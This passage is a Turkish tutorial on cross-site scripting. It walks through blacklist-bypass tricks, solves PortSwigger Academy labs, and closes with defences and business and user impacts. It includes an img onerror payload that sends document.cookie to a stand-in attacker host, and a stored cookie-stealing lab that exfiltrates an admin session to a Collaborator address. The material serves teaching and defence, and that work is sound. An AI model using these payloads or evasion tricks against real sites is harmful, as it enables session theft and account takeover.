Birçok uygulama XSS'e karşı basit bir blacklist yaklaşımı kullanır:
Diyelim ki magaza.com'un yorum alanı, gelen metni veritabanına kaydetmeden önce basit bir filtreden geçiriyor:
yorum = yorum.replace('<script>', '');yorum = yorum.replace('<script>', '');Yani sadece
1. Saldırgan filtreyi fark eder. yazdığında yorumun boş gittiğini görür demek ki
2. Case manipülasyonu ile atlatır. Filtre birebir eşleşme aradığı (harf duyarlı olduğu) için, saldırgan aynı kelimeyi karışık harflerle yazar: . Tarayıcı için ile <ScRiPt> arasında hiçbir fark yoktur, ikisi de aynı etiket olarak çalışır ama filtre bunu yakalayamaz çünkü aradığı string birebir
Not: Geliştirici filtreyi yorum = yorum.replace(/ şeklinde, yani /gi bayrağıyla yazsaydı, g tüm eşleşmeleri bulurken i harf duyarlılığını kaldırırdı bu tek satırlık değişiklik hem <script> kelimesini hem de yukarıdaki case manipülasyonu denemesini aynı anda engellerdi.
3. Geliştirici filtreyi büyütür, saldırgan alternatif etiketlere geçer. Diyelim ki /gi eklendi ve script kelimesi (hangi harf biçiminde olursa olsun) tamamen engellendi. Saldırgan bu sefer hiç script kelimesi kullanmayan bir yol dener: <img src=x onerror=fetch('https://saldirgan.com/calindi?c='+document.cookie)> Filtre sadece script kelimesini aradığı için bu payload'a hiç dokunmaz.
4. Encoding devreye girer. Diyelim ki geliştirici bu sefer onerror, onload gibi bilinen event handler kelimelerini de listeye ekliyor. Saldırgan artık kelimenin kendisini değiştirir: HTML entity encoding ile onerror yerine onerror yazar. Tarayıcı HTML'i işlerken entity'yi otomatik çözüp onerror'a dönüştürür ve kodu çalıştırır filtre ham metindeki onerror kelimesini arıyordu, tarayıcının decode ettikten sonraki halini değil.
5. Boşluk/karakter oyunları son bir engeli de aşar. Bazı filtreler, encoding'i de yakalamak için on\w+\s=* gibi bir regex kullanarak tüm onXXX= event handler'larını yakalamaya çalışır. Bu regex'ler genellikle etiket ile attribute arasında tek bir boşluk bekler. Saldırgan araya birden fazla boşluk, yeni satır veya null byte (%00) sokarak regex kalıbını bozar:
gibi. Tarayıcı bu fazladan karakterleri görmezden gelip etiketi yine işler, ama regex eşleşmediği için filtre bunu yakalayamaz.
Bu beş adım, blacklist'in neden yapısal olarak yetersiz kaldığını gösteriyor: her yeni kural, saldırganın bulacağı bir sonraki alternatifi engellemekten öteye geçmiyor.
PortSwigger Academy Lab Çözümü
Lab'a giriş yapıp yine bir blog sitesiyle karşılaşıyoruz.
Önceki lab'larda işe yarayan payload'ı,
, arama kutusuna denedik.
Ancak bu sefer sonuç farklı oldu — sunucu isteği doğrudan reddetti. Burp Suite ile isteği incelediğimizde, sunucunun 400 Bad Request yanıtı döndüğünü ve gövdesinde "Tag is not allowed" (etikete izin verilmiyor) mesajı olduğunu gördük. Yani bu lab, önceki üçünden farklı olarak
gibi bilinen etiketleri baştan reddeden bir filtre kullanıyor.
Tek tek etiket denemek yerine, bu isteği Burp Intruder'a gönderip hangi etiketlerin filtre tarafından kabul edildiğini toplu olarak taramaya karar verdik. Arama parametresinin değerini <§§> haline getirip (yani < ve > arasına bir payload pozisyonu koyup), Burp'ün kendi XSS cheat sheet'indeki tüm HTML etiketlerinin listesini bu pozisyona sırayla denettirdik.
Etiket taramasının sonuçlarını status code'a göre sıraladığımızda, denenen etiketlerin neredeyse tamamının 400 döndüğünü, ama body ve xss etiketlerinin 200 döndüğünü gördük body isteğini detaylı incelediğimizde de yanıtın gerçekten 200 OK olduğunu doğruladık.
Etiket tarafını çözdükten sonra sırada attribute (event handler) tarafı vardı etiketinin hangi event handler ile birlikte kullanılabileceğini bulmamız gerekiyordu. Bu sefer payload'ı <body%20§§=1> haline getirip, aynı Intruder mantığıyla Burp'ün event handler listesini (onclick, onload, onerror vb.) toplu olarak denettirdik.
Sonuçları incelediğimizde çoğu event handler'ın yine 400 döndüğünü, ama aralarında onresize'ın 200 döndüğünü gördük yani <body onresize=…> kombinasyonu filtreyi geçiyordu.
onresize event'inin tetiklenmesi için tek başına arama kutusuna payload yazmak yetmiyor, çünkü bu event ancak bir elementin boyutu değiştiğinde çalışıyor kurban sayfayı normal açtığında herhangi bir boyut değişikliği olmuyor, dolayısıyla bu payload kendiliğinden tetiklenmiyor. Bunu otomatik hale getirmek için PortSwigger'ın verdiği "exploit server" (kendi kontrolümüzdeki, sahte bir "saldırgan sitesi" gibi düşünülebilir) özelliğini kullandık. Body kısmına bir kodu yazdık: src içine, hedef lab'ın URL'i + arama parametresine gömülü payload'ımızı koyduk yani iframe açıldığında aslında lab sayfasını, payload'ımız zaten arama sonucuna gömülü halde yüklüyor. Kodun sonundaki onload=this.style.width='100px' kısmı ise iframe yüklenir yüklenmez onun genişliğini JavaScript ile değiştiriyor bu boyut değişimi, iframe içindeki onresize event'ini otomatik olarak tetikliyor.
Yani özetle: normalde kurbanın kendi isteğiyle tetiklemesi gereken bir olayı, bir iframe hilesiyle kurban fark etmeden, otomatik olarak tetiklenecek şekilde kurguladık. "Store" ile bu kodu kaydedip "Deliver exploit to victim" butonuna bastık bu, exploit server'ın bu sayfayı simüle edilmiş bir kurbana gönderdiği, gerçek bir ziyaretçinin sayfayı açtığında iframe'in yüklenip genişliğinin değişeceği, bunun da onresize'ı tetikleyip içindeki print()'i çalıştıracağı anlamına geliyordu. Sistem bunu çalıştı olarak yorumladı ve lab'ın durumunu Solved olarak kaydetti.
Bu sonuç, yazının Filtre Bypass bölümünde anlattığımız senaryonun gerçek karşılığı: geliştirici bilinen kelimeleri (script, onerror, onload) engelledikçe, biz Burp Intruder ile filtrenin henüz kapatmadığı bir sonraki alternatifi (body + onresize) bulduk tıpkı yazıda anlattığımız gibi, blacklist'in neden yapısal olarak yetersiz kaldığını gerçek bir uygulamada görmüş olduk.
Nasıl Kapatılır?
XSS'e karşı tek bir önlem yeterli değildir; katmanlı bir savunma (defense in depth) yaklaşımı gerekir. Bunu, yazı boyunca kullandığımız magaza.com örneği üzerinden somutlaştıralım.
- Output encoding: Kullanıcı girdisi ekrana basılırken bulunduğu context'e uygun şekilde encode edilmelidir. Örneğin yorum alanındaki metni, HTML'e basılmadan önce <script>alert(1)</script> haline getirilirse, tarayıcı bunu çalıştırılabilir kod değil, ekranda görünen düz metin olarak yorumlar. Bu, XSS'e karşı en temel ve en etkili önlemdir çünkü hangi giriş noktasından geldiğine bakmaksızın tüm türlerde (reflected/stored/DOM-based) işe yarar.
- Input validation: Beklenen veri formatı biliniyorsa (e-posta, sayı, tarih gibi), girdi bu formata göre doğrulanmalı ve uymayan veriler reddedilmelidir. Örneğin bir telefon numarası alanına sadece rakam ve + karakteri kabul edilirse,
- Content Security Policy (CSP): Tarayıcıya hangi kaynaklardan script çalıştırabileceğini bildiren bir HTTP header'dır. Örneğin Content-Security-Policy: script-src 'self' header'ı, sadece magaza.com'un kendi sunucusundan yüklenen script'lere izin verir; saldırganın
- HttpOnly ve Secure cookie flag'leri: HttpOnly flag'i, çerezlerin JavaScript üzerinden okunmasını engeller. Yani Set-Cookie: session=xyz; HttpOnly şeklinde ayarlanmış bir çerez için, sayfaya enjekte edilen document.cookie kodu boş veya çerezi göstermeyen bir sonuç döner saldırganın XSS'i başarılı olsa bile oturum çerezini çalamaz. Secure flag'i ise çerezin sadece HTTPS üzerinden gönderilmesini garanti eder.
- Sanitization kütüphaneleri: Zengin metin (rich text) alanlarında ham HTML kabul edilmesi gerekiyorsa (kalın, italik, link gibi), DOMPurify gibi test edilmiş bir sanitization kütüphanesi kullanılmalıdır. Bu kütüphaneler , , gibi izin verilen etiketleri korurken
Etkileri: İşletmeler ve Kurbanlar Açısından
XSS'in sonuçlarını iki farklı taraftan değerlendirmek gerekir zafiyeti barındıran işletme ve zafiyetten etkilenen kurban (kullanıcı) aynı saldırıdan çok farklı şekillerde zarar görür.
İşletme Açısından
- Hassas müşteri verisinin toplu şekilde kaybı. Bir stored XSS zafiyeti, tek bir yorumla o sayfayı gören her kullanıcıyı etkileyebildiği için kayıp büyük ölçekli olabilir. Örneğin bir e-ticaret sitesindeki ürün yorumuna yerleştirilen bir payload, günde binlerce ziyaretçinin oturum çerezini, kredi kartı formuna girdiği bilgileri veya adres/telefon gibi kişisel verilerini saldırgana aktarabilir.
- İtibar kaybı ve müşteri güveninin sarsılması. Bir XSS saldırısı haber olduğunda ("X sitesinden veri çalındı" gibi), kullanıcılar siteye tekrar kişisel bilgi girmekten çekinir. Bu güven kaybı, saldırının teknik maliyetinden çok daha uzun süre etkisini sürdürür ve doğrudan kâr kaybına dönüşür.
- Düzenleyici ve hukuki sorumluluk. KVKK, GDPR veya PCI DSS gibi düzenlemeler kapsamında, veri ihlaline yol açan bir XSS zafiyeti işletmeyi para cezasıyla karşı karşıya bırakabilir. Örneğin kredi kartı verisi işleyen bir sitede yaşanan XSS kaynaklı bir sızıntı, hem PCI DSS uyumluluğunu hem de KVKK kapsamındaki "veri sorumlusu" yükümlülüğünü ihlal etmiş sayılabilir.
- Operasyonel maliyet. Saldırı tespit edildikten sonra etkilenen tüm oturumların sonlandırılması, şifrelerin sıfırlanması, zafiyetin kapatılması ve etkilenen kullanıcıların bilgilendirilmesi gerekir bunların hepsi ayrı bir zaman ve kaynak maliyeti oluşturur.
Kurban (Kullanıcı) Açısından
- Oturum/hesap ele geçirilmesi. Çalınan bir oturum çerezi, saldırganın kurbanın hesabına şifresini bilmeden girmesine yol açabilir. Örneğin bir bankacılık uygulamasında yaşanan bir XSS, saldırganın kurbanın oturumunu ele geçirip kurban adına para transferi başlatmasına kadar gidebilir.
- Kimlik bilgilerinin doğrudan çalınması. Payload, kurbanı sahte bir "oturumunuz sona erdi, tekrar giriş yapın" formuna yönlendirip şifresini doğrudan saldırgana yazdırabilir kurban bunun gerçek sitenin bir parçası olduğunu düşünür çünkü adres çubuğunda hâlâ güvendiği domain yazmaktadır.
- Cihaza zararlı yazılım bulaşması. Kod, kurbanın tarayıcısını kullanarak farkında olmadan bir dosya indirmesini tetikleyebilir; bu da XSS'i daha büyük bir malware bulaşma zincirinin ilk adımı haline getirebilir.
- Kurban adına yetkisiz işlem yapılması. Saldırgan, kurbanın aktif oturumunu kullanarak (kurbanın haberi olmadan) profil bilgilerini değiştirebilir, ödeme yapabilir veya başka kullanıcılara mesaj/yorum gönderebilir kurban, hesabından böyle bir işlem yapıldığını çoğu zaman ancak sonradan fark eder.
Bu iki taraf birbirinden bağımsız değildir: işletmenin yaşadığı itibar kaybı genellikle kurbanların yaşadığı somut zararların toplamından doğar; bu yüzden XSS'i sadece bir "teknik hata" değil, hem kurumsal hem bireysel sonuçları olan bir risk olarak görmek gerekir.
Bonus: Exploiting Cross-Site Scripting to Steal Cookies
Bu son lab, yazı boyunca teorik olarak konuştuğumuz "çerez çalma / oturum ele geçirme" senaryosunu uçtan uca, gerçek bir admin hesabını ele geçirerek gösteriyor.
Lab'a giriş yapıp yine bir blog sitesiyle karşılaşıyoruz.
Bir blog yazısının yorum kısmına, çerezi kendi kontrolümüzdeki bir Burp Collaborator adresine gönderen bir payload yazdık. fetch() içindeki https://fgz3yvdykae3c95ag14s5h86qxwokf84.oastify.com adresi, Burp'ün bize özel olarak ürettiği, kendi sunucumuz gibi davranan geçici bir Collaborator sunucusu.
"Post Comment"e bastığımızda yorum listeye eklendi.
Bu lab'da, sayfayı simüle edilmiş bir admin kullanıcısı düzenli aralıklarla ziyaret ediyor yani biz hiçbir şey yapmasak bile, yorumumuz orada durduğu sürece admin er ya da geç o sayfayı açacak ve script'imiz onun tarayıcısında, onun oturumuyla çalışacak. Script çalıştığında document.cookie ile admin'in oturum çerezini okuyup bizim Collaborator adresimize gönderiyor tam olarak yazının "Kurban Açısından: Oturum/hesap ele geçirilmesi" maddesinde anlattığımız senaryo.
Bir süre sonra Burp Collaborator sekmesine dönüp "Poll now" ile kontrol ettiğimizde, gelen isteklerden birinin User-Agent başlığında açıkça "Victim" yazdığını gördük yani bu, simüle edilmiş kurbanın (admin'in) tarayıcısından gelen istekti. İsteğin gövdesinde de admin'in session çerezi düz metin olarak duruyordu.
Kendi tarayıcımızdan gelen normal bir isteğe baktığımızda ise session değerinin bize ait, farklı bir değer olduğunu görüyoruz bu bize "hangisi bizim, hangisi admin'in" ayrımını netleştirdi.
Admin'in çerezini bu şekilde ele geçirdikten sonra, Burp Repeater'da ana sayfaya giden isteğe gittik. İlk halinde Cookie başlığında kendi session değerimiz duruyordu (session=Z0zjOQiuWtvCgf6fxESQ2u7eOWkh8mgv). Bu değeri, çaldığımız admin çereziyle (session=prXTmpjG2zIX2DnoKGbfV8qOjMVu9qw7) değiştirip isteği tekrar gönderdiğimizde, sunucu 200 OK yanıtı döndü ve yanıtın içinde class='academyLabBanner is-solved' ifadesini gördük yani sunucu bizi artık admin olarak tanıyordu.
Bu sonuç, yazının "Etkileri: Kurban Açısından" bölümünde anlattığımız "oturum/hesap ele geçirilmesi" senaryosunun gerçek karşılığı: saldırgan kurbanın şifresine hiç ihtiyaç duymadan, sadece çalınan bir oturum çerezini kendi isteğine yerleştirerek kurbanın hesabına giriyor. Bu lab ayrıca Stored XSS'in en tehlikeli sonucunu da gözler önüne seriyor: saldırganın hedefi rastgele bir ziyaretçi değil, doğrudan yüksek yetkili bir hesap (admin) olduğunda, tek bir yorum, o hesabın tamamen ele geçirilmesine yol açabiliyor.
Genel Önlemler
Blacklist tabanlı filtreleme (belirli kelimeleri yasaklama) tek başına asla yeterli bir çözüm değildir Filtre Bypass bölümünde gördüğümüz gibi, her yeni kural saldırganın bulacağı bir sonraki alternatifi engellemekten öteye geçmez. Asıl sağlam çözüm, whitelist yaklaşımı ve context'e duyarlı output encoding'in bir arada kullanılmasıdır: "hangi kelimeler yasak" diye sormak yerine "hangi karakterlere/etiketlere izin veriliyor" diye sorulmalı, tanımlanan izin listesinin dışındaki her şey varsayılan olarak reddedilmeli veya encode edilmelidir.
Katmanlı savunmanın pratikte ne anlama geldiğini şöyle özetleyebiliriz: diyelim ki geliştirici output encoding'i uygulamayı unuttu bu durumda doğru yapılandırılmış bir CSP, inline script çalışmasını yine de engeller. CSP de bir şekilde atlatılabilirse, HttpOnly cookie flag'i saldırganın en azından oturum çerezini çalmasını önler. Yani tek bir önlemin başarısız olması, saldırının otomatik olarak başarılı olacağı anlamına gelmez asıl amaç, saldırganın her katmanı ayrı ayrı aşmak zorunda kalmasını sağlamaktır.
Sonuç
XSS, kullanıcı girdisinin güvenilir veri gibi işlenmesinden doğan, görünüşte basit ama etkisi geniş olabilen bir zafiyettir. Reflected, Stored ve DOM-based türleri farklı senaryolarda ortaya çıksa da hepsinin kökeninde aynı sorun yatar: çıktının context'e göre doğru şekilde encode edilmemesi. Yazı boyunca magaza.com üzerinden takip ettiğimiz senaryolar ve PortSwigger Academy örnekleri, bu zafiyetin gerçek uygulamalarda ne kadar kolay tetiklenebildiğini, filtrelerin nasıl adım adım atlatılabildiğini ve sonuçların hem işletmeyi hem kurbanı nasıl etkilediğini gösterdi.
Savunma tarafında tek bir önleme güvenmek yerine output encoding, CSP ve cookie güvenliğini birlikte uygulamak; blacklist yerine whitelist mantığını benimsemek, hem geliştiriciler hem güvenlik ekipleri için XSS riskini kalıcı olarak azaltmanın en gerçekçi yoludur.
Kaynak
- OWASP — CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') — https://cwe.mitre.org/data/definitions/79.html
- PortSwigger Web Security Academy — Cross-site scripting (XSS) — https://portswigger.net/web-security/cross-site-scripting
- PortSwigger Web Security Academy — Lab: Reflected XSS into HTML context with nothing encoded — https://portswigger.net/web-security/cross-site-scripting/reflected/lab-html-context-nothing-encoded
- PortSwigger Web Security Academy — Lab: Stored XSS into HTML context with nothing encoded — https://portswigger.net/web-security/cross-site-scripting/stored/lab-html-context-nothing-encoded
- PortSwigger Web Security Academy — Lab: DOM XSS in innerHTML sink using source location.search — https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-innerhtml-sink
- PortSwigger Web Security Academy — Lab: Reflected XSS into HTML context with most tags and attributes blocked — https://portswigger.net/web-security/cross-site-scripting/contexts/lab-html-context-with-most-tags-and-attributes-blocked
- PortSwigger Web Security Academy — Lab: Exploiting cross-site scripting to steal cookies — https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-stealing-cookies
- Trend Micro — XSS (Cross-Site Scripting) Nedir? — https://www.trendmicro.com/tr_tr/what-is/cyber-attack/xss-cross-site-scripting.html
- Bulutistan — Cross-Site Scripting (XSS) Nedir? — https://bulutistan.com/blog/xss-cross-site-scripting-nedir/